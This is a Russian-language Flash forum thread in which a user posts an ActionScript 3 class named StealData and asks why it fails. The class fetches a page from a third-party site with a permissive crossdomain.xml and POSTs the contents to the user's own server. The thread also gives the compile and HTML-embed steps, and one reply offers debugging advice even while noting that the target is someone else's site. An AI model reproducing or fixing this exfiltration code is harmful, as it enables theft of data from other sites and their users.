Форум Flasher.ru

Форум Flasher.ru (http://www.flasher.ru/forum/index.php)
-   ActionScript 3.0 (http://www.flasher.ru/forum/forumdisplay.php?f=83)
-   -   Кроссдоменные запросы (http://www.flasher.ru/forum/showthread.php?t=214577)

bumblebeee 27.09.2017 14:51

Кроссдоменные запросы
 
Вопрос глупенький =) Подскажите, что не так делаю

Пытаюсь получить данные с сайта, где плохо настроена кроссдоменная политика
Код:

allow-access-from domain="*"/
Использую данный скрипт
Код AS1/AS2:

package {
        import flash.display.Sprite;
        import flash.events.*;
        import flash.net.URLRequestMethod;
        import flash.net.URLRequest;
        import flash.net.URLLoader;
 
        public class StealData extends Sprite {
                public function StealData() {
                        // Target URL from where the data is to be retrieved
                        var readFrom:String = "https://страница, с которой хочу получить данные";
                        var readRequest:URLRequest = new URLRequest(readFrom);
                        var getLoader:URLLoader = new URLLoader();
                        getLoader.addEventListener(Event.COMPLETE, eventHandler);
                        try {
                                getLoader.load(readRequest);
                        } catch (error:Error) {
                                trace("Error loading URL: " + error);
                        }
                }
 
                private function eventHandler(event:Event):void {
                        // URL to which retrieved data is to be sent
                        var sendTo:String = "https://моя страница"
                        var sendRequest:URLRequest = new URLRequest(sendTo);
                        sendRequest.method = URLRequestMethod.POST;
                        var body:String = escape(event.target.data);
                        sendRequest.data = body;
                        var sendLoader:URLLoader = new URLLoader();
                        try {
                                sendLoader.load(sendRequest);
                        } catch (error:Error) {
                                trace("Error loading URL: " + error);
                        }
                }
        }
}

Скомпилировал в .swf, обернул в html, поднял апач, положил в веб-директорию.
Открываю в одном окне firefox хтмльку, в другой страничку, которая мне нужна. Просматриваю запросы в burp suite, скрипт обращается с get запросом к html и к файлу .swf. Больше ничего не происходит.
Как я понимаю, результатом работы скрипта должны отсылаться данные со страницы, которая мне нужна, на мою страницу. В чем может быть проблема?

Добавлено через 35 минут
Компилирую:
Код:

mxmlc StealData.as
В html:
Код:

<object width="100" height="100">
    <param name="movie" value="file.swf">
    <embed src="StealData.swf" width="100" height="100">
    </embed>
</object>


Nooob 29.09.2017 01:15

эм. настроить нормально кроссдоменную политику?
в корень всех хостов к которым обращаешься положи crossdomain.xml
Код:

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>


caseyryan 29.09.2017 18:07

Цитата:

эм. настроить нормально кроссдоменную политику?
Видимо, он не со своего сайта хочет что-то запросить.
Цитата:

Больше ничего не происходит.
А что должно происходить?
Результат запроса надо смотреть внутри приложения. Подпишись на SecurityErrorEvent.SECURITY_ERROR и на IOErrorEvent.IO_ERROR и посмотри срабатывают ли эти обработчики


Часовой пояс GMT +4, время: 13:37.

Copyright © 1999-2008 Flasher.ru. All rights reserved.
Работает на vBulletin®. Copyright ©2000 - 2026, Jelsoft Enterprises Ltd. Перевод: zCarot
Администрация сайта не несёт ответственности за любую предоставленную посетителями информацию. Подробнее см. Правила.